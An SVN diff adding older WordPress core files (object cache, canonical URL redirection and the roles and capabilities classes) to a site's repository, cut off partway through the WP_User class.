+		echo "<p>";
+		echo "<strong>Cache Hits:</strong> {$this->cache_hits}<br />";
+		echo "<strong>Cache Misses:</strong> {$this->cache_misses}<br />";
+		echo "</p>";
+
+		foreach ($this->cache as $group => $cache) {
+			echo "<p>";
+			echo "<strong>Group:</strong> $group<br />";
+			echo "<strong>Cache:</strong>";
+			echo "<pre>";
+			print_r($cache);
+			echo "</pre>";
+		}
+	}
+
+	/**
+	 * PHP4 constructor; Calls PHP 5 style constructor
+	 *
+	 * @since 2.0.0
+	 *
+	 * @return WP_Object_Cache
+	 */
+	function WP_Object_Cache() {
+		return $this->__construct();
+	}
+
+	/**
+	 * Sets up object properties; PHP 5 style constructor
+	 *
+	 * @since 2.0.8
+	 * @return null|WP_Object_Cache If cache is disabled, returns null.
+	 */
+	function __construct() {
+		/**
+		 * @todo This should be moved to the PHP4 style constructor, PHP5
+		 * already calls __destruct()
+		 */
+		register_shutdown_function(array(&$this, "__destruct"));
+	}
+
+	/**
+	 * Will save the object cache before object is completely destroyed.
+	 *
+	 * Called upon object destruction, which should be when PHP ends.
+	 *
+	 * @since  2.0.8
+	 *
+	 * @return bool True value. Won't be used by PHP
+	 */
+	function __destruct() {
+		return true;
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/canonical.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/canonical.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/canonical.php	(revision 44)
@@ -0,0 +1,339 @@
+<?php
+/**
+ * Canonical API to handle WordPress Redirecting
+ *
+ * Based on "Permalink Redirect" from Scott Yang and "Enforce www. Preference"
+ * by Mark Jaquith
+ *
+ * @author Scott Yang
+ * @author Mark Jaquith
+ * @package WordPress
+ * @since 2.3.0
+ */
+
+/**
+ * Redirects incoming links to the proper URL based on the site url.
+ *
+ * Search engines consider www.somedomain.com and somedomain.com to be two
+ * different URLs when they both go to the same location. This SEO enhancement
+ * prevents penality for duplicate content by redirecting all incoming links to
+ * one or the other.
+ *
+ * Prevents redirection for feeds, trackbacks, searches, comment popup, and
+ * admin URLs. Does not redirect on IIS, page/post previews, and on form data.
+ *
+ * Will also attempt to find the correct link when a user enters a URL that does
+ * not exist based on exact WordPress query. Will instead try to parse the URL
+ * or query in an attempt to figure the correct page to go to.
+ *
+ * @since 2.3.0
+ * @uses $wp_rewrite
+ * @uses $is_IIS
+ *
+ * @param string $requested_url Optional. The URL that was requested, used to
+ *		figure if redirect is needed.
+ * @param bool $do_redirect Optional. Redirect to the new URL.
+ * @return null|false|string Null, if redirect not needed. False, if redirect
+ *		not needed or the string of the URL
+ */
+function redirect_canonical($requested_url=null, $do_redirect=true) {
+	global $wp_rewrite, $is_IIS, $wp_query, $wpdb;
+
+	if ( is_trackback() || is_search() || is_comments_popup() || is_admin() || $is_IIS || ( isset($_POST) && count($_POST) ) || is_preview() || is_robots() )
+		return;
+
+	if ( !$requested_url ) {
+		// build the URL in the address bar
+		$requested_url  = ( !empty($_SERVER['HTTPS'] ) && strtolower($_SERVER['HTTPS']) == 'on' ) ? 'https://' : 'http://';
+		$requested_url .= $_SERVER['HTTP_HOST'];
+		$requested_url .= $_SERVER['REQUEST_URI'];
+	}
+
+	$original = @parse_url($requested_url);
+	if ( false === $original )
+		return;
+
+	// Some PHP setups turn requests for / into /index.php in REQUEST_URI
+	// See: http://trac.wordpress.org/ticket/5017
+	// See: http://trac.wordpress.org/ticket/7173
+	// Disabled, for now:
+	// $original['path'] = preg_replace('|/index\.php$|', '/', $original['path']);
+
+	$redirect = $original;
+	$redirect_url = false;
+
+	// Notice fixing
+	if ( !isset($redirect['path']) )  $redirect['path'] = '';
+	if ( !isset($redirect['query']) ) $redirect['query'] = '';
+
+	if ( is_singular() && 1 > $wp_query->post_count && ($id = get_query_var('p')) ) {
+
+		$vars = $wpdb->get_results( $wpdb->prepare("SELECT post_type, post_parent FROM $wpdb->posts WHERE ID = %d", $id) );
+
+		if ( isset($vars[0]) && $vars = $vars[0] ) {
+			if ( 'revision' == $vars->post_type && $vars->post_parent > 0 )
+				$id = $vars->post_parent;
+
+			if ( $redirect_url = get_permalink($id) )
+				$redirect['query'] = remove_query_arg(array('p', 'page_id', 'attachment_id'), $redirect['query']);
+		}
+	}
+
+	// These tests give us a WP-generated permalink
+	if ( is_404() ) {
+		$redirect_url = redirect_guess_404_permalink();
+	} elseif ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) {
+		// rewriting of old ?p=X, ?m=2004, ?m=200401, ?m=20040101
+		if ( is_single() && !empty($_GET['p']) && ! $redirect_url ) {
+			if ( $redirect_url = get_permalink(get_query_var('p')) )
+				$redirect['query'] = remove_query_arg('p', $redirect['query']);
+			if ( get_query_var( 'page' ) ) {
+				$redirect_url = trailingslashit( $redirect_url ) . user_trailingslashit( get_query_var( 'page' ), 'single_paged' );
+				$redirect['query'] = remove_query_arg( 'page', $redirect['query'] );
+			}
+		} elseif ( is_page() && !empty($_GET['page_id']) && ! $redirect_url ) {
+			if ( $redirect_url = get_permalink(get_query_var('page_id')) )
+				$redirect['query'] = remove_query_arg('page_id', $redirect['query']);
+		} elseif ( !empty($_GET['m']) && ( is_year() || is_month() || is_day() ) ) {
+			$m = get_query_var('m');
+			switch ( strlen($m) ) {
+				case 4: // Yearly
+					$redirect_url = get_year_link($m);
+					break;
+				case 6: // Monthly
+					$redirect_url = get_month_link( substr($m, 0, 4), substr($m, 4, 2) );
+					break;
+				case 8: // Daily
+					$redirect_url = get_day_link(substr($m, 0, 4), substr($m, 4, 2), substr($m, 6, 2));
+					break;
+			}
+			if ( $redirect_url )
+				$redirect['query'] = remove_query_arg('m', $redirect['query']);
+		// now moving on to non ?m=X year/month/day links
+		} elseif ( is_day() && get_query_var('year') && get_query_var('monthnum') && !empty($_GET['day']) ) {
+			if ( $redirect_url = get_day_link(get_query_var('year'), get_query_var('monthnum'), get_query_var('day')) )
+				$redirect['query'] = remove_query_arg(array('year', 'monthnum', 'day'), $redirect['query']);
+		} elseif ( is_month() && get_query_var('year') && !empty($_GET['monthnum']) ) {
+			if ( $redirect_url = get_month_link(get_query_var('year'), get_query_var('monthnum')) )
+				$redirect['query'] = remove_query_arg(array('year', 'monthnum'), $redirect['query']);
+		} elseif ( is_year() && !empty($_GET['year']) ) {
+			if ( $redirect_url = get_year_link(get_query_var('year')) )
+				$redirect['query'] = remove_query_arg('year', $redirect['query']);
+		} elseif ( is_category() && !empty($_GET['cat']) && preg_match( '|^[0-9]+$|', $_GET['cat'] ) ) {
+			if ( $redirect_url = get_category_link(get_query_var('cat')) )
+				$redirect['query'] = remove_query_arg('cat', $redirect['query']);
+		} elseif ( is_author() && !empty($_GET['author']) ) {
+			$author = get_userdata(get_query_var('author'));
+			if ( false !== $author && $redirect_url = get_author_posts_url($author->ID, $author->user_nicename) )
+				$redirect['query'] = remove_query_arg('author', $redirect['author']);
+		}
+
+	// paging and feeds
+		if ( get_query_var('paged') || is_feed() || get_query_var('cpage') ) {
+			if ( !$redirect_url )
+				$redirect_url = $requested_url;
+			$paged_redirect = @parse_url($redirect_url);
+			while ( preg_match( '#/page/[0-9]+?(/+)?$#', $paged_redirect['path'] ) || preg_match( '#/(comments/?)?(feed|rss|rdf|atom|rss2)(/+)?$#', $paged_redirect['path'] ) || preg_match( '#/comment-page-[0-9]+(/+)?$#', $paged_redirect['path'] ) ) {
+				// Strip off paging and feed
+				$paged_redirect['path'] = preg_replace('#/page/[0-9]+?(/+)?$#', '/', $paged_redirect['path']); // strip off any existing paging
+				$paged_redirect['path'] = preg_replace('#/(comments/?)?(feed|rss2?|rdf|atom)(/+|$)#', '/', $paged_redirect['path']); // strip off feed endings
+				$paged_redirect['path'] = preg_replace('#/comment-page-[0-9]+?(/+)?$#', '/', $paged_redirect['path']); // strip off any existing comment paging
+			}
+
+			$addl_path = '';
+			if ( is_feed() ) {
+				$addl_path = !empty( $addl_path ) ? trailingslashit($addl_path) : '';
+				if ( get_query_var( 'withcomments' ) )
+					$addl_path .= 'comments/';
+				$addl_path .= user_trailingslashit( 'feed/' . ( ( 'rss2' ==  get_query_var('feed') || 'feed' == get_query_var('feed') ) ? '' : get_query_var('feed') ), 'feed' );
+				$redirect['query'] = remove_query_arg( 'feed', $redirect['query'] );
+			}
+
+			if ( get_query_var('paged') > 0 ) {
+				$paged = get_query_var('paged');
+				$redirect['query'] = remove_query_arg( 'paged', $redirect['query'] );
+				if ( !is_feed() ) {
+					if ( $paged > 1 && !is_single() ) {
+						$addl_path = ( !empty( $addl_path ) ? trailingslashit($addl_path) : '' ) . user_trailingslashit("page/$paged", 'paged');
+					} elseif ( !is_single() ) {
+						$addl_path = ( !empty( $addl_path ) ? trailingslashit($addl_path) : '' ) . user_trailingslashit($paged_redirect['path'], 'paged');
+					}
+				} elseif ( $paged > 1 ) {
+					$redirect['query'] = add_query_arg( 'paged', $paged, $redirect['query'] );
+				}
+			}
+
+			if ( get_option('page_comments') && ( ( 'newest' == get_option('default_comments_page') && get_query_var('cpage') > 0 ) || ( 'newest' != get_option('default_comments_page') && get_query_var('cpage') > 1 ) ) ) {
+				$addl_path = ( !empty( $addl_path ) ? trailingslashit($addl_path) : '' ) . user_trailingslashit( 'comment-page-' . get_query_var('cpage'), 'commentpaged' );
+				$redirect['query'] = remove_query_arg( 'cpage', $redirect['query'] );
+			}
+
+			$paged_redirect['path'] = user_trailingslashit( preg_replace('|/index.php/?$|', '/', $paged_redirect['path']) ); // strip off trailing /index.php/
+			if ( !empty( $addl_path ) && $wp_rewrite->using_index_permalinks() && strpos($paged_redirect['path'], '/index.php/') === false )
+				$paged_redirect['path'] = trailingslashit($paged_redirect['path']) . 'index.php/';
+			if ( !empty( $addl_path ) )
+				$paged_redirect['path'] = trailingslashit($paged_redirect['path']) . $addl_path;
+			$redirect_url = $paged_redirect['scheme'] . '://' . $paged_redirect['host'] . $paged_redirect['path'];
+			$redirect['path'] = $paged_redirect['path'];
+		}
+	}
+
+	// tack on any additional query vars
+	$redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] );
+	if ( $redirect_url && !empty($redirect['query']) ) {
+		if ( strpos($redirect_url, '?') !== false )
+			$redirect_url .= '&';
+		else
+			$redirect_url .= '?';
+		$redirect_url .= $redirect['query'];
+	}
+
+	if ( $redirect_url )
+		$redirect = @parse_url($redirect_url);
+
+	// www.example.com vs example.com
+	$user_home = @parse_url(get_option('home'));
+	if ( !empty($user_home['host']) )
+		$redirect['host'] = $user_home['host'];
+	if ( empty($user_home['path']) )
+		$user_home['path'] = '/';
+
+	// Handle ports
+	if ( !empty($user_home['port']) )
+		$redirect['port'] = $user_home['port'];
+	else
+		unset($redirect['port']);
+
+	// trailing /index.php
+	$redirect['path'] = preg_replace('|/index.php/*?$|', '/', $redirect['path']);
+
+	// Remove trailing spaces from the path
+	$redirect['path'] = preg_replace( '#(%20| )+$#', '', $redirect['path'] );
+
+	if ( !empty( $redirect['query'] ) ) {
+		// Remove trailing spaces from certain terminating query string args
+		$redirect['query'] = preg_replace( '#((p|page_id|cat|tag)=[^&]*?)(%20| )+$#', '$1', $redirect['query'] );
+
+		// Clean up empty query strings
+		$redirect['query'] = trim(preg_replace( '#(^|&)(p|page_id|cat|tag)=?(&|$)#', '&', $redirect['query']), '&');
+
+		// Remove redundant leading ampersands
+		$redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] );
+	}
+
+	// strip /index.php/ when we're not using PATHINFO permalinks
+	if ( !$wp_rewrite->using_index_permalinks() )
+		$redirect['path'] = str_replace('/index.php/', '/', $redirect['path']);
+
+	// trailing slashes
+	if ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() && !is_404() && (!is_front_page() || ( is_front_page() && (get_query_var('paged') > 1) ) ) ) {
+		$user_ts_type = '';
+		if ( get_query_var('paged') > 0 ) {
+			$user_ts_type = 'paged';
+		} else {
+			foreach ( array('single', 'category', 'page', 'day', 'month', 'year', 'home') as $type ) {
+				$func = 'is_' . $type;
+				if ( call_user_func($func) ) {
+					$user_ts_type = $type;
+					break;
+				}
+			}
+		}
+		$redirect['path'] = user_trailingslashit($redirect['path'], $user_ts_type);
+	} elseif ( is_front_page() ) {
+		$redirect['path'] = trailingslashit($redirect['path']);
+	}
+
+	// Always trailing slash the Front Page URL
+	if ( trailingslashit( $redirect['path'] ) == trailingslashit( $user_home['path'] ) )
+		$redirect['path'] = trailingslashit($redirect['path']);
+
+	// Ignore differences in host capitalization, as this can lead to infinite redirects
+	// Only redirect no-www <=> yes-www
+	if ( strtolower($original['host']) == strtolower($redirect['host']) ||
+		( strtolower($original['host']) != 'www.' . strtolower($redirect['host']) && 'www.' . strtolower($original['host']) != strtolower($redirect['host']) ) )
+		$redirect['host'] = $original['host'];
+
+	$compare_original = array($original['host'], $original['path']);
+
+	if ( !empty( $original['port'] ) )
+		$compare_original[] = $original['port'];
+
+	if ( !empty( $original['query'] ) )
+		$compare_original[] = $original['query'];
+
+	$compare_redirect = array($redirect['host'], $redirect['path']);
+
+	if ( !empty( $redirect['port'] ) )
+		$compare_redirect[] = $redirect['port'];
+
+	if ( !empty( $redirect['query'] ) )
+		$compare_redirect[] = $redirect['query'];
+
+	if ( $compare_original !== $compare_redirect ) {
+		$redirect_url = $redirect['scheme'] . '://' . $redirect['host'];
+		if ( !empty($redirect['port']) )
+			$redirect_url .= ':' . $redirect['port'];
+		$redirect_url .= $redirect['path'];
+		if ( !empty($redirect['query']) )
+			$redirect_url .= '?' . $redirect['query'];
+	}
+
+	if ( $redirect_url == $requested_url )
+		return false;
+
+	// Note that you can use the "redirect_canonical" filter to cancel a canonical redirect for whatever reason by returning FALSE
+	$redirect_url = apply_filters('redirect_canonical', $redirect_url, $requested_url);
+
+	if ( !$redirect_url || $redirect_url == $requested_url ) // yes, again -- in case the filter aborted the request
+		return false;
+
+	if ( $do_redirect ) {
+		// protect against chained redirects
+		if ( !redirect_canonical($redirect_url, false) ) {
+			wp_redirect($redirect_url, 301);
+			exit();
+		} else {
+			// Debug
+			// die("1: $redirect_url<br />2: " . redirect_canonical( $redirect_url, false ) );
+			return false;
+		}
+	} else {
+		return $redirect_url;
+	}
+}
+
+/**
+ * Attempts to guess correct post based on query vars.
+ *
+ * @since 2.3.0
+ * @uses $wpdb
+ *
+ * @return bool|string Returns False, if it can't find post, returns correct
+ *		location on success.
+ */
+function redirect_guess_404_permalink() {
+	global $wpdb;
+
+	if ( !get_query_var('name') )
+		return false;
+
+	$where = $wpdb->prepare("post_name LIKE %s", get_query_var('name') . '%');
+
+	// if any of year, monthnum, or day are set, use them to refine the query
+	if ( get_query_var('year') )
+		$where .= $wpdb->prepare(" AND YEAR(post_date) = %d", get_query_var('year'));
+	if ( get_query_var('monthnum') )
+		$where .= $wpdb->prepare(" AND MONTH(post_date) = %d", get_query_var('monthnum'));
+	if ( get_query_var('day') )
+		$where .= $wpdb->prepare(" AND DAYOFMONTH(post_date) = %d", get_query_var('day'));
+
+	$post_id = $wpdb->get_var("SELECT ID FROM $wpdb->posts WHERE $where AND post_status = 'publish'");
+	if ( !$post_id )
+		return false;
+	return get_permalink($post_id);
+}
+
+add_action('template_redirect', 'redirect_canonical');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/capabilities.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/capabilities.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/capabilities.php	(revision 44)
@@ -0,0 +1,987 @@
+<?php
+/**
+ * WordPress Roles and Capabilities.
+ *
+ * @package WordPress
+ * @subpackage User
+ */
+
+/**
+ * WordPress User Roles.
+ *
+ * The role option is simple, the structure is organized by role name that store
+ * the name in value of the 'name' key. The capabilities are stored as an array
+ * in the value of the 'capability' key.
+ *
+ * <code>
+ * array (
+ *		'rolename' => array (
+ *			'name' => 'rolename',
+ *			'capabilities' => array()
+ *		)
+ * )
+ * </code>
+ *
+ * @since 2.0.0
+ * @package WordPress
+ * @subpackage User
+ */
+class WP_Roles {
+	/**
+	 * List of roles and capabilities.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	var $roles;
+
+	/**
+	 * List of the role objects.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	var $role_objects = array();
+
+	/**
+	 * List of role names.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	var $role_names = array();
+
+	/**
+	 * Option name for storing role list.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var string
+	 */
+	var $role_key;
+
+	/**
+	 * Whether to use the database for retrieval and storage.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var bool
+	 */
+	var $use_db = true;
+
+	/**
+	 * PHP4 Constructor - Call {@link WP_Roles::_init()} method.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @return WP_Roles
+	 */
+	function WP_Roles() {
+		$this->_init();
+	}
+
+	/**
+	 * Setup the object properties.
+	 *
+	 * The role key is set to the current prefix for the $wpdb object with
+	 * 'user_roles' appended. If the $wp_user_roles global is set, then it will
+	 * be used and the role option will not be updated or used.
+	 *
+	 * @since 2.1.0
+	 * @access protected
+	 * @uses $wpdb Used to get the database prefix.
+	 * @global array $wp_user_roles Used to set the 'roles' property value.
+	 */
+	function _init () {
+		global $wpdb;
+		global $wp_user_roles;
+		$this->role_key = $wpdb->prefix . 'user_roles';
+		if ( ! empty( $wp_user_roles ) ) {
+			$this->roles = $wp_user_roles;
+			$this->use_db = false;
+		} else {
+			$this->roles = get_option( $this->role_key );
+		}
+
+		if ( empty( $this->roles ) )
+			return;
+
+		$this->role_objects = array();
+		$this->role_names =  array();
+		foreach ( (array) $this->roles as $role => $data ) {
+			$this->role_objects[$role] = new WP_Role( $role, $this->roles[$role]['capabilities'] );
+			$this->role_names[$role] = $this->roles[$role]['name'];
+		}
+	}
+
+	/**
+	 * Add role name with capabilities to list.
+	 *
+	 * Updates the list of roles, if the role doesn't already exist.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 * @param string $display_name Role display name.
+	 * @param array $capabilities List of role capabilities.
+	 * @return null|WP_Role WP_Role object if role is added, null if already exists.
+	 */
+	function add_role( $role, $display_name, $capabilities = array() ) {
+		if ( isset( $this->roles[$role] ) )
+			return;
+
+		$this->roles[$role] = array(
+			'name' => $display_name,
+			'capabilities' => $capabilities
+			);
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+		$this->role_objects[$role] = new WP_Role( $role, $capabilities );
+		$this->role_names[$role] = $display_name;
+		return $this->role_objects[$role];
+	}
+
+	/**
+	 * Remove role by name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 */
+	function remove_role( $role ) {
+		if ( ! isset( $this->role_objects[$role] ) )
+			return;
+
+		unset( $this->role_objects[$role] );
+		unset( $this->role_names[$role] );
+		unset( $this->roles[$role] );
+
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+	}
+
+	/**
+	 * Add capability to role.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 * @param string $cap Capability name.
+	 * @param bool $grant Optional, default is true. Whether role is capable of preforming capability.
+	 */
+	function add_cap( $role, $cap, $grant = true ) {
+		$this->roles[$role]['capabilities'][$cap] = $grant;
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+	}
+
+	/**
+	 * Remove capability from role.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 * @param string $cap Capability name.
+	 */
+	function remove_cap( $role, $cap ) {
+		unset( $this->roles[$role]['capabilities'][$cap] );
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+	}
+
+	/**
+	 * Retrieve role object by name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 * @return object|null Null, if role does not exist. WP_Role object, if found.
+	 */
+	function &get_role( $role ) {
+		if ( isset( $this->role_objects[$role] ) )
+			return $this->role_objects[$role];
+		else
+			return null;
+	}
+
+	/**
+	 * Retrieve list of role names.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @return array List of role names.
+	 */
+	function get_names() {
+		return $this->role_names;
+	}
+
+	/**
+	 * Whether role name is currently in the list of available roles.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name to look up.
+	 * @return bool
+	 */
+	function is_role( $role )
+	{
+		return isset( $this->role_names[$role] );
+	}
+}
+
+/**
+ * WordPress Role class.
+ *
+ * @since 2.0.0
+ * @package WordPress
+ * @subpackage User
+ */
+class WP_Role {
+	/**
+	 * Role name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var string
+	 */
+	var $name;
+
+	/**
+	 * List of capabilities the role contains.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	var $capabilities;
+
+	/**
+	 * PHP4 Constructor - Setup object properties.
+	 *
+	 * The list of capabilities, must have the key as the name of the capability
+	 * and the value a boolean of whether it is granted to the role or not.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 * @param array $capabilities List of capabilities.
+	 * @return WP_Role
+	 */
+	function WP_Role( $role, $capabilities ) {
+		$this->name = $role;
+		$this->capabilities = $capabilities;
+	}
+
+	/**
+	 * Assign role a capability.
+	 *
+	 * @see WP_Roles::add_cap() Method uses implementation for role.
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $cap Capability name.
+	 * @param bool $grant Whether role has capability privilege.
+	 */
+	function add_cap( $cap, $grant = true ) {
+		global $wp_roles;
+
+		if ( ! isset( $wp_roles ) )
+			$wp_roles = new WP_Roles();
+
+		$this->capabilities[$cap] = $grant;
+		$wp_roles->add_cap( $this->name, $cap, $grant );
+	}
+
+	/**
+	 * Remove capability from role.
+	 *
+	 * This is a container for {@link WP_Roles::remove_cap()} to remove the
+	 * capability from the role. That is to say, that {@link
+	 * WP_Roles::remove_cap()} implements the functionality, but it also makes
+	 * sense to use this class, because you don't need to enter the role name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $cap Capability name.
+	 */
+	function remove_cap( $cap ) {
+		global $wp_roles;
+
+		if ( ! isset( $wp_roles ) )
+			$wp_roles = new WP_Roles();
+
+		unset( $this->capabilities[$cap] );
+		$wp_roles->remove_cap( $this->name, $cap );
+	}
+
+	/**
+	 * Whether role has capability.
+	 *
+	 * The capabilities is passed through the 'role_has_cap' filter. The first
+	 * parameter for the hook is the list of capabilities the class has
+	 * assigned. The second parameter is the capability name to look for. The
+	 * third and final parameter for the hook is the role name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $cap Capability name.
+	 * @return bool True, if user has capability. False, if doesn't have capability.
+	 */
+	function has_cap( $cap ) {
+		$capabilities = apply_filters( 'role_has_cap', $this->capabilities, $cap, $this->name );
+		if ( !empty( $capabilities[$cap] ) )
+			return $capabilities[$cap];
+		else
+			return false;
+	}
+
+}
+
+/**
+ * WordPress User class.
+ *
+ * @since 2.0.0
+ * @package WordPress
+ * @subpackage User
+ */
+class WP_User {
+	/**
+	 * User data container.
+	 *
+	 * This will be set as properties of the object.
+	 *
+	 * @since 2.0.0
+	 * @access private
+	 * @var array
+	 */
+	var $data;
+
+	/**
+	 * The user's ID.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var int
+	 */
+	var $ID = 0;
+
+	/**
+	 * The deprecated user's ID.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @deprecated Use WP_User::$ID
+	 * @see WP_User::$ID
+	 * @var int
+	 */
+	var $id = 0;
+
+	/**
+	 * The individual capabilities the user has been given.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	var $caps = array();
+
+	/**
+	 * User metadata option name.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var string
+	 */
+	var $cap_key;
+
+	/**
+	 * The roles the user is part of.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	var $roles = array();
+
+	/**
+	 * All capabilities the user has, including individual and role based.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	var $allcaps = array();
+
+	/**
+	 * First name of the user.
+	 *
+	 * Created to prevent notices.
+	 *
+	 * @since 2.7.0
+	 * @access public
+	 * @var string
+	 */
+	var $first_name = '';
+
+	/**
+	 * Last name of the user.
+	 *
+	 * Created to prevent notices.
+	 *
+	 * @since 2.7.0
+	 * @access public
+	 * @var string
+	 */
+	var $last_name = '';
+
+	/**
+	 * PHP4 Constructor - Sets up the object properties.
+	 *
+	 * Retrieves the userdata and then assigns all of the data keys to direct
+	 * properties of the object. Calls {@link WP_User::_init_caps()} after
+	 * setting up the object's user data properties.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param int|string $id User's ID or username
+	 * @param int $name Optional. User's username
+	 * @return WP_User
+	 */
+	function WP_User( $id, $name = '' ) {
+
+		if ( empty( $id ) && empty( $name ) )
+			return;
+
+		if ( ! is_numeric( $id ) ) {
+			$name = $id;
+			$id = 0;
+		}
+
+		if ( ! empty( $id ) )
+			$this->data = get_userdata( $id );
+		else
+			$this->data = get_userdatabylogin( $name );
+
+		if ( empty( $this->data->ID ) )
+			return;
+
+		foreach ( get_object_vars( $this->data ) as $key => $value ) {
+			$this->{$key} = $value;
+		}
+
+		$this->id = $this->ID;
+		$this->_init_caps();
+	}
+
+	/**
+	 * Setup capability object properties.
+	 *
+	 * Will set the value for the 'cap_key' property to current database table
+	 * prefix, followed by 'capabilities'. Will then check to see if the
+	 * property matching the 'cap_key' exists and is an array. If so, it will be
+	 * used.
+	 *
+	 * @since 2.1.0
+	 * @access protected
+	 */
+	function _init_caps() {
+		global $wpdb;
+		$this->cap_key = $wpdb->prefix . 'capabilities';
+		$this->caps = &$this->{$this->cap_key};
+		if ( ! is_array( $this->caps ) )
+			$this->caps = array();
+		$this->get_role_caps();
+	}
+
+	/**
+	 * Retrieve all of the role capabilities and merge with individual capabilities.
+	 *
+	 * All of the capabilities of the roles the user belongs to are merged with
+	 * the users individual roles. This also means that the user can be denied
+	 * specific roles that their role might have, but the specific user isn't
+	 * granted permission to.
+	 *
+	 * @since 2.0.0
+	 * @uses $wp_roles
+	 * @access public
+	 */
+	function get_role_caps() {
+		global $wp_roles;
+
+		if ( ! isset( $wp_roles ) )
+			$wp_roles = new WP_Roles();
+
+		//Filter out caps that are not role names and assign to $this->roles
+		if ( is_array( $this->caps ) )
+			$this->roles = array_filter( array_keys( $this->caps ), array( &$wp_roles, 'is_role' ) );
+
+		//Build $allcaps from role caps, overlay user's $caps
+		$this->allcaps = array();
+		foreach ( (array) $this->roles as $role ) {
+			$role =& $wp_roles->get_role( $role );
+			$this->allcaps = array_merge( (array) $this->allcaps, (array) $role->capabilities );
+		}
+		$this->allcaps = array_merge( (array) $this->allcaps, (array) $this->caps );
+	}
+
+	/**
+	 * Add role to user.
+	 *
+	 * Updates the user's meta data option with capabilities and roles.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 */
+	function add_role( $role ) {
+		$this->caps[$role] = true;
+		update_usermeta( $this->ID, $this->cap_key, $this->caps );
+		$this->get_role_caps();
+		$this->update_user_level_from_caps();
+	}
+
+	/**
+	 * Remove role from user.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 */
+	function remove_role( $role ) {
+		if ( empty( $this->roles[$role] ) || ( count( $this->roles ) <= 1 ) )
+			return;
+		unset( $this->caps[$role] );
+		update_usermeta( $this->ID, $this->cap_key, $this->caps );
+		$this->get_role_caps();
+	}
+
+	/**
+	 * Set the role of the user.
+	 *
+	 * This will remove the previous roles of the user and assign the user the
+	 * new one. You can set the role to an empty string and it will remove all
+	 * of the roles from the user.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param string $role Role name.
+	 */
+	function set_role( $role ) {
+		foreach ( (array) $this->roles as $oldrole )
+			unset( $this->caps[$oldrole] );
+		if ( !empty( $role ) ) {
+			$this->caps[$role] = true;
+			$this->roles = array( $role => true );
+		} else {
+			$this->roles = false;
+		}
+		update_usermeta( $this->ID, $this->cap_key, $this->caps );
+		$this->get_role_caps();
+		$this->update_user_level_from_caps();
+	}
+
+	/**
+	 * Choose the maximum level the user has.
+	 *
+	 * Will compare the level from the $item parameter against the $max
+	 * parameter. If the item is incorrect, then just the $max parameter value
+	 * will be returned.
+	 *
+	 * Used to get the max level based on the capabilities the user has. This
+	 * is also based on roles, so if the user is assigned the Administrator role
+	 * then the capability 'level_10' will exist and the user will get that
+	 * value.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 *
+	 * @param int $max Max level of user.
+	 * @param string $item Level capability name.
+	 * @return int Max Level.
+	 */
+	function level_reduction( $max, $item ) {
+		if ( preg_match( '/^level_(10|[0-9])$/i', $item, $matches ) ) {
+			$level = intval( $matches[1] );
+			return max( $max, $level );
+		} else {
+			return $max;
+		}
+	}
+
+	/**
+	 * Update the maximum user level for the user.
+	 *
+	 * Updates the 'user_level' user metadata (includes prefix that is the
+	 * database table prefix) with the maximum user level. Gets the value from
+	 * the all of the capabilities that the user has.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 */
+	function update_user_level_from_caps() {
+		global $wpdb;
+		$this->user_level = array_reduce( array_keys( $this->allcaps ), array( &$this, 'level_reduction' ), 0 );
+		update_usermeta( $this->ID, $wpdb->prefix.'user_level', $this->user_level );
+	}
+
+	/**
+	 * Add capability and grant or deny access to capability.
+	 *
+	 * @since 2.0.0
